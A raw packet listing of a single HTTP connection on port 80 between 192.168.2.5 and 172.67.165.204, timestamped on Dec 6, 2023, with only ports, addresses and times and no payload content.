Dec 6, 2023 14:50:51.184124947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184142113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184146881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184170008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184185028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184191942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184226990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184228897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184251070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184272051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184283972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184830904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184871912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184947014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184998989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185034037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185035944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185091019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185127974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185156107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185215950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185239077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185262918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185266018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185286045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185311079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185323000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185364962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185452938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185816050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185842037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185863018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185866117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185894966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185898066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185918093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185941935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.185962915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.185991049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186012983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186029911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.186034918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186069012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186073065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.186106920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186134100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186148882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.186810970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186851025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.186866999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186943054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.186976910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.186985016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187047958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187072039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187086105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187105894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187149048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187165976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187189102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187211037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187227011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187232971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187254906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187268972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187714100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187737942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187761068 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187865973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187890053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187907934 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.187947989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187969923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.187993050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188008070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188030005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188050985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188051939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188086987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188088894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188110113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188131094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188148022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188179970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188209057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188215971 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188815117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188858032 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188886881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188909054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188930988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.188942909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.188980103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189002037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189021111 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189040899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189076900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189096928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189099073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189121008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189135075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189142942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189178944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189246893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189765930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189810038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189830065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189832926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189853907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189870119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189876080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189898968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189910889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189918995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189939976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189954996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.189961910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189996958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.189997911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.190018892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.190053940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.190054893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.191026926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191068888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.191097021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191184998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191219091 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.191574097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191669941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191704035 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.191730976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191849947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.191891909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.191934109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192020893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192058086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.192101955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192188978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192224026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.192264080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192373991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192413092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.192666054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192729950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192775011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.192816019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192900896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.192935944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.192976952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193073034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193114042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.193159103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193258047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193293095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.193619967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193706989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193743944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.193747044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193833113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193873882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.193885088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193945885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.193985939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194015026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194238901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194277048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194292068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194401026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194436073 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194477081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194557905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194593906 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194674015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194729090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194770098 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194777966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194856882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.194891930 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.194986105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.195622921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.195666075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.195722103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.195812941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.195852995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.195895910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.195970058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.196011066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.196105957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.196489096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.196532011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.196610928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.196784019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.196826935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.196926117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197010040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197043896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.197257996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197356939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197396994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.197428942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197477102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197513103 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.197545052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197694063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.197731018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.197951078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198143959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198180914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.198290110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198445082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198479891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.198591948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198721886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198756933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.198829889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198905945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.198944092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.199049950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199428082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199456930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199465036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.199493885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199527025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.199569941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199608088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199644089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.199676037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199722052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199758053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.199763060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199913979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.199953079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200217962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200263977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200299025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200300932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200378895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200416088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200434923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200481892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200520039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200522900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200579882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200617075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200635910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200664997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200704098 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.200742960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200881958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.200918913 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.201066017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201127052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201160908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201162100 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.201234102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201273918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.201323032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201546907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201585054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.201617956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201684952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.201720953 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.201771021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202084064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202125072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202126980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202174902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202210903 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202222109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202275991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202311039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202318907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202394962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202424049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202431917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202485085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202524900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202552080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202629089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.202672005 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.202722073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203011990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203059912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.203110933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203203917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203244925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.203294992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203399897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203440905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.203511000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203587055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.203629017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.203689098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204102993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204155922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.204190016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204272032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204319954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.204350948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204431057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204476118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.204502106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204761028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204806089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.204833031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204890966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.204930067 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.204937935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205001116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205030918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205039024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.205097914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205136061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.205209970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205286980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205327988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.205358982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205486059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205559969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.205723047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205805063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.205848932 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.205960035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206043005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206084967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.206166983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206223011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206265926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.206269979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206365108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206407070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.206410885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206448078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206484079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.206546068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206640959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206680059 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.206732988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206825972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.206865072 CET	49705	80	192.168.2.5	172.67.165.204
